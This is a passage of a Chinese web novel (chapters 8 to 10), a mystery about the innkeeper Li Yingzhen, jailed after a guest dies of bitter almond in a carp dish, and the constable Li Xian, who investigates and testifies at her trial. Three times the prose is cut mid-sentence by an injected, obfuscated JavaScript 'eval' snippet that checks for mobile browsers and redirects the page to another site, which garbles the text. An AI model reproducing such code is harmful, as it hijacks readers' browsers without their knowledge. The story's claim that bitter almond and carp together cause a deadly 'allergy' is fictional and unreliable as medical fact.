李弦抱起佩刀,揣在怀里,啧啧有声道:“知情不报的话,这‘以后’怕是更远了。” 那双始终含着笑意的眼睛让李弦看来不具多少威严,可偏就是这样的神情与仿佛玩笑的口吻两相配合着,让这句本就带着威胁的言辞更带着股令人生寒的威慑力。 这样的李弦让黎映真倍感陌生。 定了定神,黎映真的目光锁定在尸体旁的碎鱼肉上,道:“我有个想法,但要上去看一看。” 只听李弦“嗯”了一声,原本还在尸体周围勘察的副手都退开了一些。 黎映真走去碎鱼肉旁,取出手巾,拿起摔碎的几片瓷盘片闻了闻。 有甜苦且刺鼻的味道。 再看一眼尸体呈现的状态,她心中有了判断。 余光里有身影走近,黎映真听见李弦的声音在头顶响起:“如何?” 她放下瓷盘碎片,以手巾裹着指尖,在碎鱼肉和酱料里搅了搅,再放去鼻底一嗅。 跟磁盘碎片上一样有不属于这道鲤鱼烩面的味道。 黎映真站起身,将手巾递给李弦。 那人狐疑地盯着她,她只将手巾又往他面前凑了凑。 “什么味儿。”李弦嫌弃地扭过脸,眼底却是闪过一道精光,拿出那两根银针仔细嗅了嗅。 “是苦杏仁。”黎映真拧紧了眉心解释道,“不知谁在鱼里放了苦杏仁。这东西寻常用不到,而且鲤鱼肉和苦杏仁不能放在一起,会引起过敏,严重的……会死。” 李弦不得其解,探究的视线钉在黎映真身上一般,问道:“过敏?这又是黎小姐奇思妙想下的新词儿?” 听出李弦揶揄自己,黎映真没有反驳,只不满地瞥了他一眼。 “药理中有‘药毒’一说,食物里自然也有‘食物毒’,食材相克即会中这‘食物毒’,就是过敏。 “捕快大人若不信,可以找个大夫问问,或者衙门里有仵作,应该也会知道一二。” 见李弦这会儿听得认真,待自己说完了仍凝神在思索着什么,黎映真以为自己的希望又大了些,不由期待着他的反应。 终于,在短暂的沉默后,李弦抬眼,笑吟吟地对黎映真道:“黎掌柜,借一步说话。” 黎映真绕过尸体到李弦跟前,不防他突然出手,她就这样被反扣了双手到身后。 8. 第 8 章 事已至此,又有那么多双眼睛看着,黎映真为了清白绝不会束手就擒,于是一面反抗一面质问道:“你干什么!” “黎掌柜既承认了是客栈的东西有问题,就跟我们走一趟吧。”李弦道。 李弦下手不重,但他偷袭在先,再加上这衙门捕快的身份,显有仗势欺人之意,气得黎映真扬声骂道:“你这是血口喷人,事情没查清楚之前怎么可以动手?” 一句话的功夫,她已被李弦用随身的绳索绑住了双手,再挣脱不了。 正为自己的遭遇愤愤不平,黎映真却见李弦又凑近了一些,面上始终带着笑意,与她道:“外头人多,有些话不便说的话,等到了地方‘以后’再慢慢说。” 像是某种暗号,自李弦口中而出的“以后”二字实在有些古怪。 这趟绑了黎映真的是李弦,但送她至县狱的却另有其人。 那个看来行为怪诞甚至有些讨人厌的捕快,像是有更重要的事去办。 在幽暗的牢房里待了一日,看着从高处小窗照进来的日光变成月光,在不知第几次朝出口看却未见任何人到来后,黎映真心底本就一直翻涌的担忧和顾虑变得更是浓重。 抱膝蜷坐着,她将整张脸埋进双臂里,努力将那一声沉重的叹息掩藏在无人知晓的角落里。 她必须想办法自救,不能就这样认命。 县狱寂静的夜幕下传来脚步声,并着连续不断的金属撞击的声响。 跟李弦腰间佩刀轻击的声音一样。 犹如惊弓之鸟一般,黎映真下意识躲进身边的墙影里,视线却死死盯着牢房门口。 终于,那个身穿甲胄的捕快出现在并不明亮的灯光中。 见他这副吊儿郎当的模样便忍不住生气,黎映真扶着墙站起,忍着心头怒意,质问道:“到底怎么回事?” “在你的客栈里死了人,你还问我?”李弦倚着门框,打量起黎映真道,“你一点都不知道?” 黎映真大步冲去李弦跟前。 她本就不及李弦高,那人这会儿还站在高出的石阶上,她不得不尽力仰起头,瞪着他道:“我如果知道还会在这儿干等着?早敲登闻鼓去了。” 眼珠一转,黎映真放缓了神情,视线绕过李弦身侧,确定周围没有其他人,这才压低了声音道:“跟你商量件事。” 李弦摇头道:“我是衙门捕快,而你是命案嫌犯,你跟我商量事?” “我是冤枉的!死者的情况,我在客栈和你说过了,很可能是过敏造成的意外死亡。” 牢房中响起李弦一声轻笑,他站直了道:“带你去个地方。” “我不是命案嫌犯吗?还能出去?”黎映真将信将疑。 “哎。”李弦冲她挑眉,视线落在她垂在身侧的手上,“去不去?” “你该不是要趁着月黑风高,杀人灭口吧?”嘴上这样说,黎映真已下意识伸出了手。 白日里客栈中的一幕再度上演,李弦趁她不备又将她双手捆住了。 “你!” “嘘。” 牢房里幽暗的烛火让李弦的眸光看来深沉了一些,黎映真总觉得这双总是带着笑意的眼睛深处藏着一些与她有关的秘密。 李弦摩挲着手上的绳索,轻轻扯了扯,问道:“走不走?” 被束缚的双手不由收紧。 她想赌一次。 “走就走。”黎映真咬牙应下,事已至此,拼一把总胜过坐以待毙。 踏出大牢的那一刻,黎映真看着夜风推动天边的云彩遮住了本就暗淡的月光。 夹杂在风中的凉意与她擦身而过,教她不由缩了缩脖子。 听见李弦一声闷笑,她抬头想要说些什么,可那人脚下没停,步子又大,三两步便将他甩在了身后。 缚手的绳索因为两人间来开的距离而绷直,她一时不备,被拉着向前踉跄,脑袋撞上了李弦后背。 “你要带我去哪儿?”好奇和重重顾虑混杂在一起,她还是忍不住问道。 周围只有零星挂着的几盏灯笼照出微弱的光线,黎映真透过微光,瞧见李弦扯了扯嘴角。 没有等到想要的答案,只有被捆着的双手又由绳索拉着,迫使她跟着李弦走入前头更加昏暗的光线中。 风声呼呼在黎映真耳畔徘徊,像是故意在挑动她真本就紧绷的情绪,加深着未知带来的恐惧。 她脚下加快了些,几乎贴着李弦。 “不做亏心事,不怕鬼敲门。”李弦戏谑道。 “人比鬼难缠。”黎映真嘴硬,又往李弦身后凑近了一些,“还要多久才到?” 李弦依旧没有正面回答,只是恍然道:“原来怕黑。那你还敢晚上敞开大门,迎周坚那样的小鬼?” 此时没心情与他斗嘴,黎映真便不再接话了。 走过了连廊,又拐了个弯,两人到了一间房外。 黎映真看李弦开锁进门,自己被强行“拖”进去时,意外听见他临时补了句“门槛高,当心”。 可惜脚下还是绊着了,所幸她下盘稳,站住了身子,还察觉李弦松开了绳索的另一端,不知做什么去了。 “这是什么地方?” 随着她的询问,一小片火光自李弦手中亮起。 她看着李弦拿火折子依次点灯,这才看清房内陈列了好几排架子,上头放满了书卷、册子,还有不大的木箱,有些上了锁。 她似乎知道这是什么地方了。 看着为自己解绳索的李弦,黎映真问道:“你带我来衙门的卷宗室?” 李弦没停下手里的动作,只抬眼瞥了他一瞬,待收了绳索,又转身将室内剩余的烛台都点亮了。 “带我来看卷宗?”黎映真环顾周围,不免欣喜道。 最后,她的目光还是落在李弦身上,看着他点亮斜角里最后一只烛台,又见他走向自己。 “第一排第二格。 “最上头两本。” 黎映真即刻拿了那两本簿子,看李弦有意让出了长案,便直接坐过去。 而李弦却是打着哈欠坐去一旁的椅子里,身子松垮,曲其手臂支起歪下的脑袋,又打了个哈欠,道:“我眯一会儿。” 顾不得多想,黎映真立即翻开那两本簿子。 果真是案件的询问笔录。 阿桃、吴二……一个个熟悉的人名出现在眼前,还有一些陌生的名字,再看记录的身份,是案发时在场的食客。 如此看来,李弦这一日正是忙着找证人跟做笔录,难怪此时才来“提审”自己。 可是,这人不是以混日子见长吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937301|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关于李弦的疑惑越来越大,黎映真渐渐走了神。 案上的烛火忽地一动。 李弦的声音跟着传来:“想起什么了?” “你不是睡着了吗?”黎映真仓皇地低下头,莫名有些心虚。 目光在纸页上寻找着方才停顿的地方,余光中却是李弦不知在做什么的模糊的影子。 “笃笃。” 叩门声来得突然,惊得黎映真一声低呼,险些碰翻一旁的灯台。 李弦倒是如常,开了门见是副手便问道:“怎么了?” “黎老板来接人了。”副手回道。 “什么?”黎映真难以置信地到副手面前,“我爹来了?” 副手点头道:“是啊,带着假释的银子,说要接黎掌柜回去。” 一想起偏心的黎世昌和居心叵测的郑氏母子,黎映真便心生厌恶。 况且她如今被人命官司缠着,真回去了,指不定还要给她添身麻烦。 打定了主意,她正色道:“劳烦转告我爹,就说我等官府还我清白,先不回去了。” 说到官府二字时,她已看向身边的李弦。 恰好,那人也正看着她。 她似乎瞧见李弦本有些绷紧的嘴角动了动,但因为夜里光线暗,她不确定是不是自己看错了。 李弦抬了抬下巴,抢步上前,推着副手出去,转身关门,落锁。 黎映真这才发现自己被反锁在了屋里。 “李弦!”她用力拍门喊道,“放我出去!” 映在门扇上的影子抛着钥匙把玩,意味深长道:“过了这村,可就没这店了。” 听着李弦离去的脚步声,黎映真又气又无奈,暗骂了一句“狗东西”。 视线落去案上摊开的审讯笔录,她又忽然明白了李弦最后那句话的意思——机不可失,于是重新坐回去,定了定神,继续查看剩下的笔录,以期找到蛛丝马迹。 烛身渐短,夜色渐深。 黎映真因这一日的变故总在紧张之中,加之翻阅询问笔录颇是费神,待看到结尾时,她已被倦意侵袭,连连打起了哈欠。 可卷宗室外毫无动静,不知李弦几时回来。 等到最后,她实在支撑不住,被周公轻勾了手指就入了梦。 梦里锣鼓喧天,人声欢笑,显然是在办喜事。 可她却被人踢了一脚,双膝一软跪去地上。 后颈随之被一只手死死按住往下压。 “一拜天地!” 高亢的唱祝声像是凶恶的鬼怪挥动着利爪刺入身体,吓得黎映真猛然从梦魇中惊醒。 烛台上堆了厚厚的烛泪,光线已然比之前暗了许多。 黎映真愣愣地盯着那一缕火苗,木讷得仿佛入了定,直到李弦拿来另一只还亮堂的烛灯,她才渐渐回了神。 梦魇带来的惊恐、后怕伴随从梦境回到现实过程中那股飘忽感,在她慢慢确定眼前人是李弦,他正在换蜡烛后才慢慢消散。 思绪回笼的同时,她下意识地动了动脚,发现脚边落了件披风。 俯身去捡的时,一阵晕眩感袭来,她扶着桌沿挺住,拾起披风,缓了缓才拍去上头的灰尘,视线却不知为何往李弦身上跑。 恰好李弦换完蜡烛转身,两人视线无意交汇。 9. 第 9 章 像是被烛火烫了一下,黎映真很快避开自李弦而来的目光,胡乱卷着手里的披风抱进怀里,道:“我看完了,但是没发现里头有周嫂的。” “黎家人暂时不会来了。”他答非所问,一直盯着她,站在与她隔着一张长案的地方,任由自己的影子被烛光拉长,笼在她身上。 沉默里,黎映真察觉到来自身体的不适,好在这会儿有怀里的披风抱着,她还能借以支撑,便又问了一次:“没找到周嫂吗?” “人不见了。”李弦面无表情,看着台上将要燃尽的烛火,“周坚也不见了。” 自此之后,宗卷室内寂静无声。 二人就这样僵持了半晌,李弦率先打破僵局,道:“我们调查过,死者是外来经商的,周嫂与他毫无交集。” 黎映真静静听着,垂眼瞧着怀里的披风,不由抱紧了些,喃喃道:“今日她还来过客栈的。” 她不愿相信今日的命案跟周嫂有关,那可是当初给予她重开客栈最大鼓励和帮助的人之一。 眼前的簿子被李弦收起,她看着他放回架子上,想要说什么,却不知应该说什么。 “客栈里外就那些干活的,少了个大活人能不知道?” 李弦的声音传来,黎映真才发现他又回到了长案前,这会儿双臂张开,双手扶长案边沿,微微向自己俯下身来。 他高俊的身形并着这一身肃穆的甲胄,本该颇具压迫,偏是唇边噙着的那抹笑意太过戏谑不羁,教他看来与捕快的身份十分不相称。 “早派人去找了。”李弦仍就着那个姿势注视着黎映真,眼底笑意更浓,“黎掌柜可有线索提供?” “除了昨晚遇见周坚,我跟周嫂只是普通雇佣关系。” 不知是不是在牢里待久了又忽然吹了风,起初并不明显的不适感渐渐强烈,这会儿已有些克制不住,黎映真抱紧了怀里的披风才勉强将最后那四个字吐出口,但尾音已然飘忽。 李弦听得她声音不对,再定睛去看,才察觉黎映真背光坐着,阴影罩在脸上,掩去了发白的脸色。 那坐在长案后的身影在烛光中轻晃,待李弦绕到她身边时,她仿佛听见“嘣”地一声,有什么东西断了。 再醒来时,黎映真发现自己正躺在一张陌生的床上。 门窗紧闭,只有几率阳光勉强从缝隙中挤进了屋内。 脑子昏沉沉的,身子还有些重,她想要坐起身都得慢慢来。 床头却摆着一只铃铛。 黎映真尽力去够铃铛,才拿到手里,房内便想起了“叮铃”的声响。 门扇上出现一道影子,随即传来李弦的声音:“醒了?” 她轻轻摇动铃铛,房门被推开的刹那,明媚的阳光涌了进来,勾勒出门口那道伟岸挺拔的身影。 正看得有些恍惚,黎映真见副手过来,递给李弦什么东西。 他看过后又吩咐了副手几句,方才提步进来。 神色颇为凝重。 “早知黎掌柜身子弱,昨晚就该让你跟黎老板回去。”李弦在床边坐下,片刻的功夫又换回了那副玩世不恭的模样。 见他光明正大得盯着自己,黎映真有些不自在,拉起被子裹紧,问道:“找到周嫂了吗?” 李弦失笑,摇着头盯看黎映真,道:“有家不回,有病不管,两眼一睁竟是问别人,说你不可疑,别人也不信。” 副手此时送来一碗药。 李弦两指贴在碗壁上试了温度,示意副手递给黎映真。 “大夫说你惊怖伤神,风寒乘袭,郁而发热,现在感觉如何?”他一面说话一面在袖袋里翻找,最后拿出一只纸包,递给黎映真,打开。 是几颗蜜枣。 黎映真瞥了李弦一眼,嘀咕道:“少看不起人。” 端起药碗便一饮而尽,很是豪爽。 紧接着,李弦手里的蜜枣少了两颗。 笑着将剩下的那颗蜜枣塞进口中,李弦随手团起包蜜枣的纸,站起身道:“动作利索,看来恢复得不错,走吧。” “去哪儿?”黎映真含着蜜枣,腮帮子有些鼓,说话也含糊。 “问完了活人,该问问死人了。”李弦从腰间摸出绳索,掂了掂,道,“手。” “病人你也绑?” “手边的铃铛,我跟老梁借的,要还。” 暗道又被这人诈了一回,黎映真重重咬着嘴里的蜜枣,跟咬李弦似的才觉得解气。 又听他似是挑衅道:“那我拭目以待。” 稍后黎映真简单梳洗完才知李弦已经走了,她由副手领着前去会和。 路上,副手与她道:“老仵作才告假回乡,昨日一出事,李哥就派人去临县请救场仵作,但人手都被调走去办其他县的一桩大案,腾不出手来。” “这是没人验尸?” “有,不然咱这是去哪儿?” 今日秋光分明明媚,黎映真却忽觉颈间微凉,脊梁骨莫名有些发麻。 她试探着问道:“咱们要去验尸?” “是啊,李哥应该已经动手了,眼下衙门里只有他有这本事了。” 面对完整的尸体,黎映真尚能保持镇定,可一想到李弦要她去现场围观剖尸查验,她还只是远远瞧见前头紧闭的验尸房大门,双腿已有些发软。 待到验尸房前,副手直接推门进去,而她虚扶着墙又勉强定了定神。 阳光照进半开的大门里就像是投入了一处黑洞,暗得仿佛能将任何东西都吸纳进去。 窸窸窣窣的声响从里头传来,动静不大,只因周围实在安静,才能听得一些。 但那声音贴着耳膜,一点一点地碾着,激得黎映真后颈起了一片鸡皮疙瘩。 她从没想过有朝一日要亲眼看别人验尸,此刻才感受到未知才是滋生恐惧的温床,正在她心里疯狂打着退堂鼓。 可是她的未来在里面。 哪怕李弦表现得基本可信,她也要走好每一步,让李弦知道她有自证清白的勇气和毅力。 后面还会有许多困难,她不能在这里就倒下。 她连活着的险恶人心都不怕,还怕一具没气了将近十二个时辰的尸体不成? 最后深深吸了一口气,黎映真提步踏入验尸房。 验尸房进门处垂挂着一块遮光黑布,这是黎映真方才以为房内幽黑的原因。 有黑布隔着,外头的阳光进不来,弥漫在房内的一股怪异味道也散不出去,她甫一进入便觉得胃腹内已开始有了翻江倒海之意。 “屏风后头坐着吧。” 李弦的声音传来,倒是听来轻松。 那与其说是屏风,倒不如说是一块比门口黑布更大的屏障,阻隔在验尸台和黎映真之间,教她能透过另一边透来的光线看见李弦的动作,却又看不清他究竟在做什么。 黎映真没听李弦的话坐在一旁的椅子里,而是站在那块透光的巨大遮布前。 此时不出声,是因为不知说什么,也怕打扰正在验尸的李弦。 遮布上,李弦和副手协作检剖验尸体的身影被一一投映,伴着那些陌生的声响,有时是沙沙的动静,有时又是黏稠液体流动的滴嗒声。 自耳入心,总要黎映真攥紧垂在身侧的手,才能克制住正在加剧不适。 从心理到身体,皆如是。 “死者面色潮红若樱,兼见颈腕诸处起风团红斑,舌尖微绀。” 黎映真在客栈查看尸体时已发现部分相同表现。 她看见李弦投在遮布上的身影从副手处换了一柄细长的工具,他又凑着尸体的位置转了些方向,开始有了切割的动作。 “喉间壅塞,状若桃核,且粉色痰状物残留。 “肺部肿胀,切面暗红……“ 李弦手里的工具伴随着剖开的部位不同偶有更换。 平日里不常听见各种声响动静,伴着他口中精简扼要的叙述,被始终平静的语调一一送入黎映真耳中。 她听不太懂李弦的叙述,但遮布后的声音不见波澜,便像是对她那一句“食物毒”的肯定。 否则,李弦应该会多少给她一些情况异常的暗示。 稍稍吐了口气,黎映真握紧的双手跟着松开了三分。 “怎么了?” 李弦突然的关心反倒让黎映真一怔,她看着遮布上明显抬起头、顿住动作的身影,忽然有些紧张。 她慌乱地垂下眼,敷衍着回道:“没事。” 却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937302|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在下一刻被不知何时又浓重了不少的怪异味道熏得实在难受,只得原地蹲着才好过些。 遮布上的影子陡然放大,黎映真听见从验尸台后靠近的脚步声,但她这会儿没什么力气站起来,只是勉强撑着与李弦道:“我在这儿听着就好,你继续。” 她的整张脸都埋在臂弯里,声音闷闷的。 “椅子就在身后,我让老梁扶你过去坐。” “这样就行,你动作快点。” 遮布后传来一声笑,与以往不同,这次黎映真能想到李弦脸上无奈的表情。 她这也算是凭着自己的倔脾气让李弦吃了一次瘪。 听着李弦回到验尸台后的脚步声,她搂紧了双臂,努力与体内不断加剧的不适感做着斗争,凝神去听那个代值仵作接下去的验尸情况。 “胃中发现苦杏仁碎粒、鲤鱼肉,散发苦杏仁之气。” 李弦的声音有条不紊地从遮布另一边传来,语速较之先前慢了些。 黎映真就这样认真安静地听完了一整堂剖尸查验的过程。 身体仍在难受,也没什么力气,她便一直在原地蹲着,不知周围究竟发生了什么。 直至昨日那双皂靴又出现在眼前。 “怎么样?”声音也是从头顶传来的,但显然比她第一次听见时要近上许多。 她抬眼,朝蹲在身前的李弦摇了摇头:“脚麻。” 面前的身影忽然站起,她顺势抬头,见李弦朝自己伸出手。 她自是不客气,让李弦扶着站起,正想去一旁的椅子坐下。 但李弦有意拦着:“你喜欢这地方?还想待?” 他从神情到言语尽是揶揄。 于是由李弦扶着去了外头,掀开门口黑布的那一刻,黎映真贪婪地深深吸了一口新鲜空气,真有一种重获新生的庆幸。 下一刻,李弦从腰间拿出验尸结要给她:“再仔细想想有没有遗忘的细节。” 黎映真也知好歹,去接结要时不忘道谢。 她认真翻看结要内容,基本都是李弦在验尸时说过的,只有最后的定论,笔迹不同,她猜是李弦最后自己写的—— 死者乃苦杏仁之毒与鲤鱼相激而亡。苦杏仁之毒,入喉则闭气血,且毒发致肿喉间,乃食毒与异体之物共伐其身,遂致不救。 确定了死因就明确了调查的方向,欣喜之余,她更不敢怠慢,提出想再回卷宗室看看审问笔录。 李弦自是答应的。 这次,黎映真只看了客栈内帮工们的记录,找出两个昨日明显跟依旧还处在失踪状态的周嫂有关的人,道:“孙伯和阿桃应该还能再盘一盘。” 见李弦上前开始翻阅这两人的记录,她补充道:“死者临近午时进客栈,他们跟周嫂都在那段时间在后厨有过矛盾,而周嫂此时下落不明,嫌疑巨大,所以他们见面的细节可以再详细追问。” “还有呢?”李弦依旧翻着记录,掀眼瞥了瞥黎映真。 “那盘鲤鱼烩面的盘子上和死者身上都没有明显的苦杏仁粉末,但菜品和菜盘都有甜苦刺鼻的气味,可见苦杏仁最晚也是在制作的时候加进去才会和菜品融合,案发前进出后厨的人都有嫌疑。 “只是周嫂眼下是关键人物,所以我们挑重点,从孙伯和阿桃开始。” “还有吗?”李弦捻着一页纸,慢悠悠地翻过,略抬了头,视线还在手中的审问笔录上,微微眯起眼,跟学堂里先生考验学生似的。 “咕噜,咕噜。” 算算时间,他们在卷宗室待了将近一个时辰,眼见就到午膳的时候了。 黎映真嘴角一弯,坦然承认自己的口腹之欲,道:“还有就是饿了。” “嗒。” 手里的审问笔录被轻轻拍上黎映真脑门,李弦像极了先生不满考学结果敲打学生的样子,只是那口吻不似先生严肃,含笑道:“病情初愈吃点清淡的,等吃了药再出去。” 一听自己可以离开衙门,黎映真兴奋道:“我们去哪儿?” 叩门声适时响起,李弦应声后,副手送了几张叠好的纸进来。 信手翻了一遍,他满意地点头,双指夹着那些纸,有意在黎映真眼前晃了晃,笑吟吟道:“还饿吗?” 10. 第 10 章 李弦拿字条招惹人,黎映真自然要迎难而上。 她上前一把从李弦手中夺下字条打开,发现上头不过写了一个地址。 “永宁县明月巷?”她疑惑道,“隔壁县?什么意思?” 字条又被李弦抽走,不等她继续追问,双手又被绑了起来。 “李弦,你做什么?” “查案是官府之责,黎掌柜可信我?” 没想他问得这样直接,反倒是黎映真一时怔怔,再反应过来时,双手已被完全绑住。 “府衙重地,不能让个命案嫌犯自由出入。”李弦解释,可配着那一副悠哉游哉的神情让这话看来不那么可信。 “说好了带我查……” “谁说了?几时说了?” 这人翻脸堪比翻书,黎映真有时的确招架不住。 感觉到腕上有股力道牵引,她乖乖跟上。 两人一前一后往大牢方向去。 她还是不甘心,问道:“真的不能让我参加调查?” 跟前的背影没停下脚步,但一道莫名的目光从李弦侧转的双眸中投来。 不似以往总那样笑吟吟的,竟是让她读出几分无奈来。 她不理解,又好奇,加快了脚步,紧紧跟着李弦,问道:“你这是什么眼神?” 没有等来李弦的答案,只听他叹了一声。 尾音落在秋风里,瞬间就散了。 之后三日,黎映真都在牢中度过。 没见过李弦,连老梁都没瞧见。 甚至是那烦人的系统都没出现。 第四日,安静的大牢过道里响起了异常的脚步声。 不像日常狱卒来放饭时还带着其他零零碎碎的声响,这回只是略显急促的脚步声。 有些催命的味道。 她的身子下意识地往墙角蜷,可那双眼睛早向着牢门的方向看。 “黎掌柜。”来人叫她的工夫,已在开锁了。 “梁捕快?”黎映真像见着救命稻草一般从地上起来,快步走去牢房门口。 真正确定是老梁后,她又不甘心地朝老梁身后看:“李弦呢?” 锁链叮当的声响传来,她低头才知,那是老梁手里握着的铁手铐。 意识到事态不妙,黎映真往后退了退,双手藏去身后,盯着老梁问道:“到底怎么回事?李弦人呢?” “李哥向县令要了三日时间调查这次到命案,三日前又向阿桃和孙伯问询后就启程去永宁县了。”老梁脸上也满是担忧之色,“按理说往返加上调查,今日怎么都该回来了,可……” “一点消息都没送回来?”黎映真问道。 老梁眉头拧得紧,只冲黎映真摇头。 这情况,难保不是李弦中途遇见了棘手的事,甚至可能遭遇了危险,这才杳无音讯。 而他是如今对整桩命案了解最深的人,他要是不在,对黎映真而言可谓非常不利。 牢房中一片死寂,衬得那从外头匆匆过来的脚步声,格外清晰。 “老梁,好了没?大人等着升堂公审呢。” 看着那前来催促的另一名捕快,黎映真知道老梁此时也是为难的。 她定了定神,问道:“先前李弦的验尸结要可保存好了?” “黎掌柜放心,李哥交代的东西,一定不会出岔子的。”老梁道。 黎映真稍稍放心,走上前,向老梁伸出双手道:“我们走吧。” 县衙公堂之上,那块写着明镜高悬的牌匾赫然醒目,周围衙役手持水火棍,个个面无表情,自成无形威压,令整个公堂气氛肃杀。 堂上,成安县令面沉如水,翻阅着命案卷宗。 黎映真跪在冰冷的石板上,低眉垂首,看似恭顺,实则袖中的双手早已紧握成拳,指甲深深嵌入掌心,借着那点疼痛保持冷静。 她的身后,吴二和客栈的其他人就在听审的队伍最前列。 黎世昌和郑氏也在,却不见黎文远的身影。 “堂下可是客来居掌柜黎映真?”县令终于开口,带着官腔特有的沉缓。 黎映真抬头,看似平静道:“正是民女。” “你客栈吃食带毒吃死了人,现查你草菅人命,你可知罪?” “民女无罪。”她又扬高了头,目光清亮,声音虽因这几日没有好好进水进食而略显沙哑,但语调异常坚定,掷地有声。 “客来居打开门做生意,诚信为本,绝无可能故意售卖有毒吃食。 “当日就验过现场的食物,都没有毒,这点李弦李捕快,跟梁捕快都可以证明。” 老梁上前道:“李哥当日用银针试死者身边的菜,确实未发现有投毒迹象。” 此言一出,满堂哗然。 那日客来居死人的情景早已经不胫而走,整个成安县里,流言满天,都认为是黎映真疯症犯了便在自己客栈中下毒害人。 想她连自己成亲的喜堂都闹得,真真算不得是正常人。 但她如今长跪而语,说得振振有词,却又不像是个疯的。 “啪!” 县令拍响惊堂木,斥道:“公堂之上,不得喧哗。” 待议论声暂息,黎映真继续道:“当日民女在死者唇角发现一些异常粉末,推测是苦杏仁粉,而死者当日吃的是鲤鱼烩面。苦杏仁与鲈鱼不可同食,所以民女当场便禀告李捕快,死者可能是误中‘食毒’,并非药毒。 “食毒因个人体质而异,死者在点选食材时,并未向客栈提供其忌口之物。那苦杏仁粉也并非后厨常备之物,若真要追究,也该是有人蓄意谋害,既杀人,也嫁祸客来居。 “请县令大人明察秋毫,还民女一个公道!” 黎映真这一番陈述也算有理有据,且皆得老梁映证,当下便又引起百姓议论。 县令连拍惊堂木也未能完全压制那闹哄哄的声响。 “此案另有隐情。” 鼎沸人声中忽然出现一个嘹亮的声音。 黎映真回头,循声望去,只见一道挺拔身姿穿过人群而来。 不是李弦又是谁? 只见那身上还带着风霜的身影大步迈入公堂,停在黎映真身边,向县令行了礼。 瞧着李弦俯身垂眼,看似恭敬的模样,黎映真不想他眸光朝身侧一瞥,恰对上自己还没来得及从他身上收回的目光。 她见他嘴角几不可查地向上弯起,连同那双往日或带戏谑的笑眼中竟生出些宽慰之色。 是时,老梁将先前就做下的验尸结要呈给县令。 李弦则昂首挺胸,道:“经卑职初步查验,死者确系中毒身亡。” 此言一出,堂下又现惊愕之声。 黎世昌不由走上前,像是想要将李弦的话听得再清楚些,郑氏则有些压不住嘴角的笑意。 黎映真则猛地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937303|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头看向李弦,眼中满是震惊和难以置信,失声道:“李弦,你在胡说什么?” 李弦并未看她,继续不紧不慢地说道:“然,此毒并非砒霜、鹤顶红等常见剧毒。” 他停在此处,成功引起了所有人的好奇。 县令亦按捺不住,追问道:“那是何毒?” 黎映真见目光转落,忽地看向自己。 此时此刻,再看他这故弄玄虚的模样,她又怒又气,转过头去不再看他。 那人却偏绕到她跟前,俯身看着她,道:“黎掌柜方才已经说了。” 满堂震惊的感叹中,黎映真重新注视着李弦。 此刻那双杏眼里除开和旁听百姓一样的惊讶,也有喜悦。 甚至因这人欲扬先抑,当众诈她,这会儿的惊喜里还带着委屈和责怪。 “狗东西。”情绪所致,黎映真没忍住,当面骂了李弦一声。 周围喧闹,这一声又轻,便只有他们两个听见了。 李弦不怒反笑,起身继续向县令陈述这食毒的成因,以及死者尸体匹配食毒的相应症状。 “而且据卑职所查,死者身上另有蹊跷,或是自身恩怨所致。” 李弦拍了拍手,阿桃和孙伯便来了堂上,跪在黎映真身边。 “这两位是客来居的帮工和后厨,案发当日跟眼下失踪的另一位帮工周嫂都有过较多接触。”李弦道。 “民女阿桃,那日在客栈后厨见过周嫂。当时民女就发现周嫂整个人魂不守舍的,还核错了收菜的数目,我好心提醒,但周嫂不知怎的,很不耐烦,还当场说我多管闲事,她平日不这样。 “民女还发现,周嫂手里似乎攥着什么东西,但当天正是我们客栈进行直播间的时候,里里外外都忙得很,民女就没多在意。” “老头子是客栈的后厨,那日原正在准备直播间要表演的菜,因着一只野猫总来打扰,老头子看不得灶头周围有那些不干净的东西,就追着想彻底将野猫赶出去。 “回后厨时,发现周嫂就在灶头边上。周嫂是客栈老人,因多帮后厨做事,进出多了,老头子也没在意。 “后头李捕快问话,老头子才觉得那日周嫂的神情有些古怪。跟阿桃说的那样,周嫂手里似乎是拿着什么东西。” 李弦一个眼色,老梁拿出一只小布包,呈给县令。 “这布包里头是卑职后来在客栈后巷堆放废弃杂物处找到的一块粗布手巾,上头确有苦杏仁粉末。” “苦杏仁并非常用之物,客栈后厨也不会预备,这东西肯定有人带进来,用过后又丢在那里的。”孙伯道。 “客栈后门挨着死巷,一般不会有人去那里,最有可能丢下这块手巾的,就是客栈中人。 “案发至今,客栈内所有帮工包括黎掌柜都到案接受过审问,唯独不见周嫂,其人嫌疑甚重。”李弦道。 “而且时至今日,周嫂独子周坚也忽然消失,卑职合理推测,这是他们母子二人合谋害人,畏罪潜逃。” 此言一出,堂下声浪又起。 